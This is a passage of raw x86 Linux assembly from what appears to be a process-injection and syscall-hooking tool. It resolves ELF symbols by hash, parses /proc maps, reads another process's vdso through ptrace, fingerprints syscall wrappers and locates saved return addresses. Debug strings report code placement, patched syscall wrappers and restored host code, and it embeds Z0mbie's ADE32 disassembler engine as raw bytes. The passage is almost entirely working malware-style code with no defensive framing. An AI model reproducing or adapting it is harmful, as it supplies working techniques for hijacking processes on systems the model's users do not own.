                mov     ebx,dword[eax+sosr_base]
                mov     ecx,dword[eax+sosr_sym_count]

.method:        test    dl,byte sosr_flag_onetbl
                jne     .onetbl
                test    dl,byte sosr_flag_twotbl
                jne     .twotbl
                jmp     .ret

.onetbl:        inc     edi                             ; skip first byte (syscall number)
                call    resolve                         ; ret eax: elf32sym struct address or symbol code address
                stosd                                   ; save address
                loop    .onetbl                         ; resolve next
                jmp     .ret

.twotbl:        call    resolve                         ; resolve symbol
                xchg    esi,edi
                stosd                                   ; save address
                lodsd                                   
                xchg    edi,esi
                loop    .twotbl

.ret:           add     esp,(3*_push)
                popad
                ret

resolve:        ; this procedure resolve a shared object symbol by hash:

                ; params:
                ; (explicit ones)
                ; ebx : base address of the shared object
                ; edi : beginning of a symbol hash table
                ; ecx : number of entries in the table
                ; edx : resolver options
                ; (implicit ones)
                ; esp + 4 + 8 + 12: hash, dynsyn, dynstr sections

                ; ret:
                ; edx = sosr_flag_elf32sym => Elf32_Sym address
                ; edx = 0 => symbol code address

                ; *1 num_bucket : hash_table_vaddr + 0 [int]
                ; buckets       : hash_table_vaddr + 8 (vaddr)
                ; *2 chains     : hash_table_vaddr + 8 + num_buket * 4

                pushad

                mov     ebp,edx
                mov     esi, dword [esp+_pparams+_hash]
                xor     edx,edx
                mov     eax, dword [edi]
                div     dword [esi]
                mov     ecx, [esi + 4*edx + 8]
                mov     edx,[esi]
                lea     esi,[esi + 4*edx + 8]

.next:          jecxz   .done                           ; if idx = 0 sym not found

                imul    eax,ecx,byte 16                 ; ent offset: idx * elf32sym size(16b)
                add     eax,[esp+_pparams+_dynsym]      ; eax = offset + dynsym vaddr = elf32sym
                mov     edx,[eax]                       ; edx = elf32sym->st_name
                add     edx,[esp+_pparams+_dynstr]      ; edx += dynstr vaddr (sym name)

                call    elf_hash                        ; compute hash for symbol name

                mov     ecx,[esi + 4*ecx]               ; get next index in chain
                cmp     edx,dword[edi]                  ; compare hashes
                jnz     .next                           ; not equal, try next one

                test    ebp,dword sosr_flag_elf32sym    ; save Elf32_Sym addr
                jne     .save
                mov     eax,[eax + 4]                   ; save sym code addr
                cmp     eax,ebx                         ; eax->st_value
                jae     .save                           
                add     eax,ebx
.save:          mov     dword [esp+_pushad_eax],eax
.done:          popad
                ret

elf_hash:       ; elf hash algorithm: edx = string address
                pushad
                mov     esi,edx
                xor     eax,eax
                cdq                                     ; eax = edx = 0
                mov     bl,byte 0f0h
                shl     ebx,24
.next:          lodsb                                   ; get next char and test
                test    al,al                           ; if end of string
                je      .done
                shl     edx,4
                add     edx,eax
                mov     ecx,edx
                and     ecx,ebx
                jz      .j1
                mov     edi,ecx
                shr     edi,24
                xor     edx,edi
.j1:            not     ecx
                and     edx,ecx
                jmp     .next
.done:          mov     dword [esp+_pushad_edx],edx     ; edx = hash value
                popad
                ret

cmp_name:       ; compare a name with a list of given strings
                pushad
                mov     ebp,[esp+_pparam1]              ; str list
                mov     ebx,[esp+_pparam2]              ; name
                mov     ecx,[ebp]
.next_name:     jecxz   .not_found
                xchg    ecx,edx
                lea     esi,[ebp+_dword+4]
                mov     ecx,[ebp+_dword+0]
                add     ebp,ecx
                mov     edi,ebx
                repe    cmpsb
                je      .found                          ; ecx = 0 (name match)
                xchg    edx,ecx
                loop    .next_name
.not_found:     inc     ecx
.found:         popad
                ret

;===============================================================================|
; map file reader
;===============================================================================|

; mpfr struct:
mpfr_list               equ 00h ; PMAPENT   : first mapentry (linked list head)
mpfr_path               equ 04h ; LPSTR     : mapfile path: /proc/X/maps
mpfr_count              equ 08h ; DWORD     : number of maps
mpfr_blk_list           equ 0Ch ; PDWORD    : number of mapent_blocks allocated
mpfr_blk_size           equ 10h ; DWORD     : mapent_block size (default : 4096b|1000h)

; map entry struct:
mapent_start            equ 00h ; DWORD     : beginning of segment
mapent_end              equ 04h ; DWORD     : ending of segment
mapent_size             equ 08h ; DWORD     : segment size
mapent_flags            equ 0Ch ; DWORD     : segment type and options
mapent_name             equ 10h ; LPSTR     : segment name (shared objects only)
mapent_namesz           equ 14h ; DWORD     : segment name size
mapent_next             equ 18h ; PMAPENT   : next entry

mapentsz                equ 7*4             ; mapent struct size

; segment options:
sprot_read              equ 01h             ; segment can be read: (r--)
sprot_write             equ 02h             ; segment can be written: (-w-)
sprot_exec              equ 04h             ; segment can be executed: (--x)
sprot_shared            equ 08h             ; segment is a shared memory area

; segment types:
stype_stack             equ 10h             ; stack segment: [stack]
stype_vdso              equ 20h             ; vdso segment: [vdso]
stype_heap              equ 40h             ; heap segment: [heap]

max_num_blks            equ 10              ; should be enough (10*blk_size)
blk_size                equ 1000h           ; 4096b

; DWORD mpfr_open(mpfr *)
mpfr_open:      pushad
                mov     ebp,dword [esp+_pparam1]        ; ebp = *mpfr

                xor     ecx,ecx
                mov     dword [ebp+mpfr_list],ecx
                mov     dword [ebp+mpfr_count],ecx      ; clean some fields
                mov     dword [ebp+mpfr_blk_list],ecx

.open_maps:     mov     ebx,[ebp+mpfr_path]             ; read-only (ecx =0)
                push    byte sc_open                    ; open mapsfile
                pop     eax
                int     80h
                push    eax                             ; save mpf_fd

.get_size:      mov     edx,512                         ; get size of file
                sub     esp,edx                         ; , we can not use stat()
                mov     ecx,esp                         ; or mmap()
                mov     ebx,eax
                xor     edi,edi                         ; counter
.next_blk:      push    byte sc_read
                pop     eax
                int     80h
                add     edi,eax
                test    eax,eax
                jne     .next_blk

                add     esp,edx                         ; round up the size
                dec     eax                             ; to the next 0x1000
                shr     eax,20                          ; boundary (eax = 0)
                add     edi,eax
                not     eax
                and     edi,eax

.map_size:      xor     edx,edx
                push    edx
                dec     edx
                push    edx
                push    byte 22h
                push    byte 7
                push    edi
                inc     edx
                push    edx
                mov     ebx,esp
                push    byte sc_mmap                    ; map memory for mapfile
                pop     eax                             ; it cannot be mapped directly
                int     80h
                xchg    esi,eax                         ; esi = first byte (p)
                add     esp,(_push*6)

                mov     ecx,edx                         ; ecx = edx => SEEK_SET(0)
                pop     ebx                             ; mpf_fd
                push    byte sc_lseek                   ; respos data pointer
                pop     eax
                int     80h                             ; ret = eax = 0

.get_data:      mov     edx,512                         ; read map file and store
                mov     ecx,esi                         ; it into the previously
.nnext_blk:     add     ecx,eax                         ; mapped memory area
                push    byte sc_read
                pop     eax
                int     80h
                test    eax,eax
                jne     .nnext_blk

                call    alloc_blk                       ; allocate initial mapent_block
                mov     edx,eax
                add     edx,[ebp+mpfr_blk_size]         ; edx = end of current block
                add     eax,(4+max_num_blks*4)          ; first block header: number of blocks and array of pointers
                mov     [ebp+mpfr_list],eax             ; first entry
                mov     edi,eax                         ; edi = first ENTRY

.get_map:       inc     dword [ebp+mpfr_count]          ; inc map counter
                push    esi
                call    str2ulong
                pop     eax
                mov     [edi+mapent_start],eax          ; ENT->start

                add     esi,byte 9

                push    esi
                call    str2ulong
                pop     ebx
                mov     [edi+mapent_end],ebx            ; ENT->end

                add     esi,byte 9

                sub     ebx,eax
                mov     [edi+mapent_size],ebx           ; ENT->size

.get_flag:      xor     ah,ah
.f_r:           lodsb
                cmp     al,2Dh                          ; (2D = '-')
                je      .f_w
                or      ah,byte sprot_read              ; read prot
.f_w:           lodsb
                cmp     al,2Dh
                je      .f_x
                or      ah,byte sprot_write             ; write prot
.f_x            lodsb
                cmp     al,2Dh
                je      .f_s
                or      ah,byte sprot_exec              ; exec prot
.f_s:           lodsb
                cmp     al,73h
                jne     .set_flag
                or      ah,byte sprot_shared            ; shared segment
.set_flag:      or      byte [edi+mapent_flags],ah      ; ENT->flags

.get_name:      lea     esi,[esi+17]                    ; p+=17

.skip_digit:    lodsb
                cmp     al,20h                          ; (20 = ' ')
                jne     .skip_digit
                dec     esi

.skip_space:    lodsb
                cmp     al,20h
                je      .skip_space
                dec     esi                             ; at this point *esi(p) = point
                                                        ; to first byte of name or "\n"
                mov     [edi+mapent_name],esi           ; save begining of name, used to copy it later
                push    esi

.get_eol:       lodsb
                cmp     al,0Ah                          ; (0A = '\n')
                jne     .get_eol
                dec     esi                             ; at this point *esi(s) = point to "\n", the end of the line

                mov     [edi+mapent_namesz],esi         ; esi = *s
                pop     ebx                             ; ebx = *p
                sub     [edi+mapent_namesz],ebx         ; str_size = (s - p)

                mov     ecx,[edi+mapent_namesz]
                jecxz   ._no_name
                inc     ecx
._no_name:      lea     eax,[edi+mapentsz]              ; eax = end of mapent (begining of name)
                add     ecx,eax
                add     ecx,byte mapentsz               ; (ecx=0 or ecx=namesz+1(nul byte)) += edi+mapentsz*2

                cmp     ecx,edx
                jbe     .set_name
                call    alloc_blk                       ; allocate new mapent_block if current is full
                mov     edx,eax                         ; eax = address of new block
                add     edx,[ebp+mpfr_blk_size]         ; edx = ending of block

.set_name:      mov     ecx,[edi+mapent_namesz]
                jecxz   .set_next                       ; if no name, skip this step

                push    esi                             ; if this map has name, copy it just after
                mov     esi,[edi+mapent_name]           ; the mapent structure (eax)
                mov     ebx,edi
                mov     edi,eax
                rep     movsb

                mov     [ebx+mapent_name],eax           ; ENT->name
                add     eax,[ebx+mapent_namesz]
                inc     eax                             ; eax += namesz + 1 (null byte) => point to next entry
                push    eax

                xor     ax,ax

.test_vdso:     call    ._vdso_                         ; check if vdso segment
                db      "[vdso]",00h
._vdso_:        pop     edi
                mov     esi,[ebx+mapent_name]
                mov     ecx,[ebx+mapent_namesz]
                repe    cmpsb
                jne     .test_stack
                or      ax,stype_vdso

.test_stack:    call    ._stack_                        ; check if stack segment
                db      "[stack]",00h
._stack_:       pop     edi
                mov     esi,[ebx+mapent_name]
                mov     ecx,[ebx+mapent_namesz]
                repe    cmpsb
                jne     .test_heap
                or      ax,stype_stack

.test_heap:     call    ._heap_                         ; check if heap segment
                db      "[heap]",00h
._heap_:        pop     edi
                mov     esi,[ebx+mapent_name]
                mov     ecx,[ebx+mapent_namesz]
                repe    cmpsb
                jne     .set_stype
                or      ax,stype_heap

.set_stype:     or      word [ebx+mapent_flags],ax      ; set segment type

                pop     eax
                xchg    edi,ebx
                pop     esi

.set_next:      inc     esi                             ; (byte)*esi => '\n' (at this point esi always must point to '\n')
                mov     bl,byte [esi]                   ; (byte)*esi => 'X'(non zero char) or '\0'
                test    bl,bl                           ; if X = '0'('\0') => end of file
                je      .ret                            ; set next = 0
                mov     [edi+mapent_next],eax           ; eax = correct address of next entry: in current or new block
                xchg    edi,eax
                jmp     .get_map

.ret:           xor     eax,eax                         ; end of file : all the lines were processed
                mov     [esp+_pushad_eax],eax
                popad
                ret

; VOID mpfr_close(mpfr *)
mpfr_close:     pushad
                mov     ebp,[esp+_pparam1]              ; ebp = *mpfr

                mov     ebx,[ebp+mpfr_blk_list]
                mov     ecx,[ebx]
.free:          call    free_blk                        ; free all previously
                loop    .free                           ; allocated mapent_blocks

                popad
                ret

; DWORD alloc_blk(void)
alloc_blk:      ; maps a new block of mpfr->blk_size size and adds
                ; it to the list of allocated blocks mpfr->blk_list
                pushad

.map_blk:       xor     edx,edx
                push    edx
                dec     edx
                push    edx
                push    22h
                push    7h
                push    dword [ebp+mpfr_blk_size]
                inc     edx
                push    edx
                mov     ebx,esp
                push    byte sc_mmap                    ; maps just one block
                pop     eax
                int     80h
                add     esp,(6*_push)

                mov     ecx,[ebp+mpfr_blk_list]         ; ecx = array of blocks
                test    ecx,ecx                         ; if ecx = 0, no block has been allocated yet
                jne     .add_blk
.first_blk:     mov     [ebp+mpfr_blk_list],eax         ; first block (contains an array of pointers
                mov     ecx,eax                         ; and a counter)

.add_blk:       mov     ebx,dword[ecx]                  ; get number of allocated blocks = array idx
                inc     ebx                             ; skip itself (DWORD)
                lea     edi,[ecx+ebx*4]                 ; address of last entry: (first_mapent_blk+idx*4)
                stosd                                   ; add new entry
                inc     dword[ecx]                      ; update block counter

                mov     dword[esp+_pushad_eax],eax      ; return block address

.ret:           popad
                ret

; VOID free_blk(VOID)
free_blk:       ; unmaps the last block of mpfr->blk_size size from the list
                ; of allocated blocks mpfr->blk_list
                pushad

                mov     ecx,[ebp+mpfr_blk_list]         ; get number of alloc blocks
                jecxz   .ret                            ; list empty (no blocks)
                mov     ebx,dword[ecx]                  ; get idx
                lea     esi,[ecx+ebx*4]                 ; point to the last block
                dec     dword[ecx]

                mov     ecx,dword[ebp+mpfr_blk_size]    ; block size
                mov     ebx,dword [esi]                 ; block address
                push    byte sc_munmap                  ; unmap
                pop     eax
                int     80h

.ret:           popad
                ret

; DWORD str2ulong(LPSTR *str)
; string to long integer (dword) conversion
str2ulong:      pushad
                mov     esi,dword[esp+_pparam1]         ; ascii string address
                xor     ebx,ebx
                push    byte 8
                pop     ecx

_next:          xor     eax,eax
                lodsb

_ch_1:          cmp     al,'a'      ; a-f
                jb      _ch_2
                sub     al,'a'-10
                jmp     _add
_ch_2:          cmp     al,'A'      ; A-F
                jb      _ch_3
                sub     al,'A'-10
                jmp     _add
_ch_3:          cmp     al,'9'      ; 0-9
                ja      _end
                sub     al,'0'

_add:           imul    ebx,ebx,byte 16
                add     ebx,eax
                loop    _next

_end:           mov     [esp+_pushad+_ret],ebx
                popad
                ret

; mapent *mpfr_search_by_vaddr(mpfr *mpfr, DWORD vaddr)
; ret (eax) : map entry address or 0
mpfr_search_by_vaddr:

                pushad

                mov     ebp,dword [esp+_pparam1]        ; ebp = *mpfr
                mov     ecx,dword [ebp+mpfr_list]       ; ecx = first mapent
                mov     ebx,dword [esp+_pparam2]        ; ebx = vaddr

.cmp            jecxz   .ret                            ; end of list, entry not found
                cmp     ebx,[ecx+mapent_start]
                jb      .next
                cmp     ebx,[ecx+mapent_end]
                ja      .next
                jmp     .ret                            ; entry found
.next:          mov     ecx,[ecx+mapent_next]
                jmp     .cmp

.ret:           mov     [esp+_pushad_eax],ecx
                popad
                ret

; mapent *mpfr_search_by_name(mpfr *mpfr, LPCSTR *name, DWORD size)
; ret (eax) = map entry address or 0
mpfr_search_by_name:

                pushad

                mov     ebp,dword [esp+_pparam1]        ; ebp = *mpfr
                mov     eax,dword [ebp+mpfr_list]       ; eax = first mapent
                mov     edx,dword [esp+_pparam2]        ; edx = name/id
                mov     ebx,dword [esp+_pparam3]        ; ebx = str size

.cmp:           test    eax,eax
                je      .ret                            ; end of list, entry not found
                mov     edi,dword[eax+mapent_name]      ; mapentry name
                mov     esi,edx                         ; given name
                mov     ecx,ebx                         ; use size of token, not real name size
                repe    cmpsb
                je      .ret                            ; entry found
                mov     eax,[eax+mapent_next]
                jmp     .cmp

.ret:           mov     [esp+_pushad_eax],eax
                popad
                ret

; mapent *mpfr_search_by_names(mpfr *mpfr, PVOID *names)
; ret (eax) = map entry address or 0
mpfr_search_by_names:

                pushad

                mov     ebp,dword[esp+_pparam1]         ; ebp = *mpfr
                mov     esi,dword[esp+_pparam2]         ; esi = name list

                lodsd                                   ; number of names in the list
                xchg    ecx,eax
 
.next_name:     jecxz   .ret                            ; all the names were tried, entry not found
                lodsd
                push    eax                             ; size
                push    esi                             ; name
                add     esi,eax                         ; 
                push    ebp                             ; *mpfr
                call    mpfr_search_by_name
                add     esp,(3*_push)
                dec     ecx
                test    eax,eax
                je      .next_name

.ret:           mov     dword[esp+_pushad_eax],eax
                popad
                ret

; mapent *mpfr_get_vdso(mpfr *mpfr)
; ret (eax) = VDSO map entry address or 0
mpfr_get_vdso:  nop ; xxx

; mapent *mpfr_get_stack(mpfr *mpfr)
; ret (eax) = STACK map entry address or 0
mpfr_get_stack: nop ; xxx

;===============================================================================|
; virtual dinamically-linked shared object analyzer
;===============================================================================|

VDSOsz                  equ 4096            ; vdso size: 1xPAGESZ
alloc_size              equ (VDSOsz*2)      ; vdso size + structs

; VDSOHandle struct:
VDSOHandle_pid          equ 00h ; DWORD     : pid which contains vdso
VDSOHandle_base         equ 04h ; DWORD     : vdso base address
VDSOHandle_image        equ 08h ; PDWORD    : vdso image
VDSOHandle_sym1         equ 0Ch ; PVDSOSYM  : s1: __kernel_vsyscall
VDSOHandle_sym2         equ 10h ; PVDSOSYM  : s2: __kernel_sigreturn
VDSOHandle_sym3         equ 14h ; PVDSOSYM  : s3: __kernel_rt_sigreturn

VDSOHandleSz            equ (6*_dword)      ; VDSOHandle struct size

; VDSOSym struct:
VDSOSym_start           equ 00h ; DWORD     : beginning of symbol code
VDSOSym_offset          equ 04h ; DWORD     : symbol code offset
VDSOSym_size            equ 08h ; DWORD     : symbol size
VDSOSym_flags           equ 0Ch ; DWORD     : symbol type & options
VDSOSym_code            equ 10h ; PDWORD    : symbol image

VDSOSymSz               equ (5*_dword)      ; VDSOSym struct size

; vdso symbols:
vdso_vsyscall_id        equ 000h ; sym1     : id
vdso_vsyscall_size      equ 020h            ; size in memory
vdso_vsyscall_off       equ 400h            ; offset

vdso_sigreturn_id       equ 001h ; sym2     : id
vdso_sigreturn_size     equ 020h            ; size in memory
vdso_sigreturn_off      equ 420h            ; offset

vdso_rtsigreturn_id     equ 002h ; sym3     : id
vdso_rtsigreturn_size   equ 020h            ; size in memory
vdso_rtsigreturn_off    equ 440h            ; offset

; VDSOHandle *VDSOLoad(DWORD pid, DWORD base)
VDSOLoad:       pushad

.alloc:         xor     eax,eax                         ; map a memory area to
                cdq                                     ; hold a copy of the VDSO
                push    eax                             ; and the structures
                dec     edx
                push    edx
                push    byte 22h
                push    byte 7h
                push    alloc_size
                push    eax
                mov     ebx,esp
                push    byte sc_mmap
                pop     eax
                int     80h
                add     esp,(6*_push)

                lea     ebp,[eax+VDSOsz]                ; ebp = *VDSOHandle
                mov     dword[ebp+VDSOHandle_image],eax ; set VDSOHandle_image

.get_vdso:      mov     ecx,dword[esp+_pparam1]         ; get pid
                mov     dword[ebp+VDSOHandle_pid],ecx   ; set VDSOHandle_pid
                mov     edx,dword[esp+_pparam2]         ; get address
                mov     dword[ebp+VDSOHandle_base],edx  ; set VDSOHandle_base
                push    byte ptrace_req_peek
                pop     ebx
                xchg    esi,eax
                push    dword(VDSOsz/_dword)
                pop     edi                             ; dwors to read (counter)
.read:          push    byte sc_ptrace
                pop     eax
                int     80h                             ; read vdso page from
                lodsd                                   ; target process
                add     edx,byte 4
                dec     edi                             ; test counter
                jne     .read

.get_entry:     mov     eax,dword[ebp+VDSOHandle_image] ; get entry point:
                mov     eax,dword[eax+elf_hdr_entry]    ; it should be both a vaddr
                cmp     eax,[ebp+VDSOHandle_base]       ; or a offset to the first
                jae     .get_s1                         ; symbol (vsyscall)
                add     eax,dword[ebp+VDSOHandle_base]

.get_s1:        lea     ecx,[ebp+VDSOHandleSz]          ; ecx = VDSOSym *vsyscall
                mov     dword[ebp+VDSOHandle_sym1],ecx  ; set VDSOHandle_sym1
                mov     dword[ecx+VDSOSym_offset],vdso_vsyscall_off
                mov     ebx,dword[ebp+VDSOHandle_image] ; ebx = local image of symbol code
                add     ebx,dword[ecx+VDSOSym_offset]   ; eax = address of the symbol
                mov     dword[ecx+VDSOSym_size],vdso_vsyscall_size ; in the target process
                mov     dword[ecx+VDSOSym_start],eax    ; entry point
                add     eax,dword[ecx+VDSOSym_size]     ; next sym
                mov     dword[ecx+VDSOSym_code],ebx
                add     ebx,dword[ecx+VDSOSym_size]     ; next sym

.get_s2:        lea     ecx,[ecx+VDSOSymSz]             ; ecx = VDSOSym *sigreturn
                mov     dword[ebp+VDSOHandle_sym2],ecx  ; set VDSOHandle_sym2
                mov     dword[ecx+VDSOSym_offset],vdso_sigreturn_off
                mov     dword[ecx+VDSOSym_size],vdso_sigreturn_size
                mov     dword[ecx+VDSOSym_start],eax
                add     eax,dword[ecx+VDSOSym_size]     ; next sym
                mov     dword[ecx+VDSOSym_code],ebx
                add     ebx,dword[ecx+VDSOSym_size]     ; next sym

.get_s3:        lea     ecx,[ecx+VDSOSymSz]             ; ecx = VDSOSym *rtsigreturn
                mov     dword[ebp+VDSOHandle_sym3],ecx  ; set VDSOHandle_sym3
                mov     dword[ecx+VDSOSym_offset],vdso_rtsigreturn_off
                mov     dword[ecx+VDSOSym_size],vdso_rtsigreturn_size
                mov     dword[ecx+VDSOSym_start],eax
                mov     dword[ecx+VDSOSym_code],ebx

.ret:           mov     dword[esp+_pushad_eax],ebp      ; ret VDSOHandle
                popad
                ret

; VOID VDSOUnload(VDSOHandle *)
VDSOUnload:     pushad

                mov     ebp,[esp+_pparam1]              ; VDSOHandler

                mov     ebx,dword[ebp+VDSOHandle_image]
                mov     ecx,alloc_size
                push    byte sc_munmap                  ; munmap 2xPAGESZ:
                pop     eax                             ; 1st PAGE => vdso image
                int     80h                             ; 2nd PAGE => structs

.ret:           popad
                ret

; VDSOSym *VDSOGetSym(VDSOHandle *, DWORD SymId)
VDSOGetSym:     pushad

                mov     ebp,[esp+_pparam1]              ; VDSOHandle
                mov     ecx,[esp+_pparam2]              ; SymId = index

                mov     eax,dword[ebp+ecx*4+(VDSOHandle_sym1)]  ; *(VDSOHandler) + IDX*4 + 12:
                mov     dword[esp+_pushad_eax],eax      ; reg(base) + reg(index)*SIZE(1/2/4/8) + offset

.ret:           popad
                ret

; DWORD VDSOGetRet(VDSOHandle *, DWORD EIP, DWORD ESP)
; EIP & ESP => ptregs
; ret => saved eip
VDSOGetRet:     pushad
                call    getDelta                        ; get delta offset

                mov     edx,[esp+_pparam1]              ; edx = VDSOHandle
                mov     eax,[esp+_pparam2]              ; eax = EIP

.check_s1:      mov     ebx,[edx+VDSOHandle_sym1]       ; checks if EIP points to first symbol
                mov     ecx,[ebx+VDSOSym_start]
                cmp     eax,ecx
                jb      .check_s2
                add     ecx,[ebx+VDSOSym_size]
                cmp     eax,ecx
                ja      .check_s2
.check_s1_vA:   lea     esi,[ebp+s1_code_vA-gdelta]
                mov     edi,[ebx+VDSOSym_code]
                mov     ecx,[ebx+VDSOSym_size]
                repe    cmpsb ; sysenter version
                jne     .check_s1_vB
                lea     esi,[ebp+s1_instoff_vA-gdelta]
                jmp     .handle_sym
.check_s1_vB:   lea     esi,[ebp+s1_code_vB-gdelta]
                mov     edi,[ebx+VDSOSym_code]
                mov     ecx,[ebx+VDSOSym_size]
                repe    cmpsb ; int version
                jne     .check_s2
                lea     esi,[ebp+s1_instoff_vB-gdelta]
                jmp     .handle_sym

.check_s2:      mov     ebx,[edx+VDSOHandle_sym2]       ; checks if EIP points to second symbol
                mov     ecx,[ebx+VDSOSym_start]
                cmp     eax,ecx
                jb      .check_s3
                add     ecx,[ebx+VDSOSym_size]
                cmp     eax,ecx
                ja      .check_s3
                lea     esi,[ebp+s2_code-gdelta]
                mov     edi,[ebx+VDSOSym_code]
                mov     ecx,[ebx+VDSOSym_size]
                repe    cmpsb
                ;je      .handle_sym ; xxx              ; (unhandled)
                jmp     .bad_eip

.check_s3:      mov     ebx,[edx+VDSOHandle_sym3]       ; checks if EIP points to third symbol
                mov     ecx,[ebx+VDSOSym_start]
                cmp     eax,ecx
                jb      .bad_eip
                add     ecx,[ebx+VDSOSym_size]
                cmp     eax,ecx
                ja      .bad_eip
                lea     esi,[ebp+s3_code-gdelta]
                mov     edi,[ebx+VDSOSym_code]
                mov     ecx,[ebx+VDSOSym_size]
                repe    cmpsb
                ;je      .handle_sym ; xxx              ; (unhandled)

.bad_eip:       xor     eax,eax                         ; the EIP reg does not point to a VDSO segment
                jmp     .ret                            ; ret eax = 0 => error

.handle_sym:    mov     ecx,[edx+VDSOHandle_pid]
                mov     edx,[esp+_pparam3]              ; edx = ESP
                sub     eax,[ebx+VDSOSym_start]         ; EIP - start = instr offset
                xchg    ah,al                           ; ah = off (must be <256)
.next:          lodsb
                cmp     ah,al                           ; compare both instr offsets
                jne     .next
                xor     eax,eax                         ; instr off found:
                lodsb                                   ; add/sub ESP to point the saved eip
                add     edx,eax

.read_sip:      push    eax                             ; read the saved eip
                mov     esi,esp                         ; from the new "ESP" value (edx)
                push    byte ptrace_req_peek
                pop     ebx
                push    byte sc_ptrace
                pop     eax
                int     80h
                pop     eax

.ret:           mov     dword[esp+_pushad_eax],eax
                popad
                ret

; instr/offset tables
s1_instoff_vA:  ;_______sysenter________:
                db       1,(1*_push)    ; instr: push   edx
                db       2,(2*_push)    ; instr: push   ebp
                db       3,(3*_push)    ; instr: mov    ebp,esp
                db      16,(3*_push)    ; instr: pop    ebp
                db      17,(2*_push)    ; instr: pop    edx
                db      18,(1*_push)    ; instr: pop    ecx
s1_instoff_vB:  ;_________int___________:
                db       3,(1*_push)    ; instr: ret

; vdso function fingerprints: maybe first bytes are enough
; vsyscall/sysenter: ____________________________________
s1_code_vA:     db 051h,052h,055h,089h,0E5h,00Fh,034h,090h
                db 090h,090h,090h,090h,090h,090h,0EBh,0F3h
                db 05Dh,05Ah,059h,0C3h,090h,090h,090h,090h
                db 090h,090h,090h,090h,090h,090h,090h,090h
; vsyscall/int  _________________________________________
s1_code_vB:     db 0CDh,080h,0C3h,090h,090h,090h,090h,090h
                db 090h,090h,090h,090h,090h,090h,090h,090h
                db 090h,090h,090h,090h,090h,090h,090h,090h
                db 090h,090h,090h,090h,090h,090h,090h,090h
; sigreturn:    _________________________________________
s2_code:        db 058h,0B8h,077h,000h,000h,000h,0CDh,080h
                db 090h,090h,090h,090h,090h,090h,090h,090h
                db 090h,090h,090h,090h,090h,090h,090h,090h
                db 090h,090h,090h,090h,090h,090h,090h,090h
; rt_sigreturn: _________________________________________
s3_code:        db 0B8h,0ADh,000h,000h,000h,0CDh,080h,090h
                db 090h,090h,090h,090h,090h,090h,090h,090h
                db 090h,090h,090h,090h,090h,090h,090h,090h
                db 090h,090h,090h,090h,090h,090h,090h,090h

;===============================================================================|
; Debug routines: open_logfile()/write_logfile()/write_console()
;===============================================================================|

_logfile        db      "logfile.txt",0h
_logfile_fd     dd      00h
_logfile_mode   equ     1A4h
_logfile_flags  equ     42h     ; O_RDWR|O_CREAT

dbug_msg0       db  " --- Code placed at = 0x%x",0dh,0ah,0h
dbug_msg1       db  " [*] SCHooker started",0dh,0ah,0h
dbug_msg2       db  " [*] hostcode restored",0dh,0ah,0h
dbug_msg3       db  " [*] non-exec stack detected", 0dh,0ah,0h
dbug_msg4       db  " [*] syscall wrappers located",0dh,0ah,0h
dbug_msg5       db  " [*] syscall wrappers patched",0dh,0ah,0h
dbug_msg6       db  " [*] tsd installed and tested",0dh,0ah,0h

open_logfile:   pushad
                push    _logfile_mode
                pop     edx
                push    byte _logfile_flags
                pop     ecx
                lea     ebx,[ebp+_logfile-gdelta]
                push    byte sc_open
                pop     eax
                int     80h ; open/creat debug file
                mov     dword[ebp+_logfile_fd-gdelta],eax
.ret:           popad
                ret

close_logfile:  pushad
                mov     ebx,dword[ebp+_logfile_fd-gdelta]
                push    sc_close
                pop     eax
.ret:           popad
                ret

write_logfile:  pushad  ; ecx = pointer to debug message
.test_fd:       mov     ebx,dword[ebp+_logfile_fd-gdelta]
                test    ebx,ebx
                js      .ret
.get_msg_len:   mov     esi,ecx
                xor     edx,edx
.next_byte:     inc     edx
                lodsb
                test    al,al
                jnz     .next_byte
                push    byte sc_write
                pop     eax
                int     80h
.ret:           popad
                ret

write_console:  pushad ; ecx = pointer to debug message
.get_msg_len:   mov     esi,ecx
                xor     edx,edx
.next_byte:     inc     edx
                lodsb
                test    al,al
                jnz     .next_byte
                push    byte 1
                pop     ebx
                push    byte sc_write
                pop     eax
                int     80h
.ret:           popad
                ret

;============================================================================|
; Z0mbie's LDE: ADE32 (x) 1999-2002 http://z0mbie.cjb.net
;============================================================================|
; a bit modified by me to suport "int 80" instructions

ade_dstruct_size        equ     60 ; really 40b
ade_dstruct_opcode      equ     20
ade_flagtable_size      equ     2048

ade_size                equ     517+382+116  ; == 1015

ade_init:       db 060h,08Bh,07Ch,024h,024h,0FCh,031h,0C0h
                db 068h,0C0h,000h,000h,000h,068h,030h,003h
                db 0F3h,0C0h,068h,030h,0F3h,0F3h,030h,068h
                db 0DBh,003h,0F3h,030h,068h,0F0h,03Fh,0B6h
                db 06Dh,068h,000h,0F0h,022h,000h,068h,0DEh
                db 036h,022h,000h,068h,000h,080h,06Dh,044h
                db 068h,0ADh,035h,000h,000h,068h,0B5h,0D6h
                db 05Ah,06Bh,068h,0D6h,05Ah,06Bh,0ADh,068h
                db 040h,0F0h,0FFh,083h,068h,078h,058h,014h
                db 045h,068h,0FFh,067h,000h,000h,068h,000h
                db 0F8h,0FFh,0FFh,068h,0FFh,007h,000h,000h
                db 068h,0BFh,06Eh,0EDh,0FFh,068h,052h,0EAh
                db 0FFh,0FFh,068h,0FFh,0FFh,0FFh,095h,068h
                db 07Bh,07Bh,0FFh,0FFh,068h,01Bh,094h,052h
                db 0EAh,068h,0C3h,05Bh,0B0h,05Bh,068h,0DBh
                db 036h,050h,0C3h,068h,075h,010h,041h,081h
                db 068h,094h,064h,059h,096h,068h,001h,000h
                db 024h,092h,068h,030h,000h,059h,06Eh,068h
                db 038h,078h,058h,0DBh,068h,095h,012h,085h
                db 042h,068h,014h,0C5h,050h,021h,068h,0C6h
                db 028h,01Ch,063h,068h,0E7h,02Ch,0CBh,031h
                db 068h,0BBh,06Eh,0CEh,039h,068h,080h,06Dh
                db 0E7h,068h,068h,0ADh,080h,080h,080h,068h
                db 0B6h,0B5h,020h,0B7h,068h,028h,014h,0B6h
                db 0DBh,068h,00Ah,028h,002h,000h,068h,052h
                db 04Ah,049h,014h,068h,094h,052h,092h,048h
                db 068h,022h,049h,029h,0A5h,068h,050h,016h
                db 0DBh,056h,068h,0D2h,060h,041h,0A3h,068h
                db 0EDh,056h,0A9h,0D0h,068h,0B6h,06Dh,0DBh
                db 0AEh,068h,0DBh,0AEh,06Dh,0DBh,068h,05Ah
                db 0DBh,0AEh,06Dh,068h,0A5h,005h,0C8h,051h
                db 068h,051h,05Ah,080h,01Ch,068h,01Ch,0A5h
                db 005h,0C8h,068h,090h,085h,05Bh,080h,068h
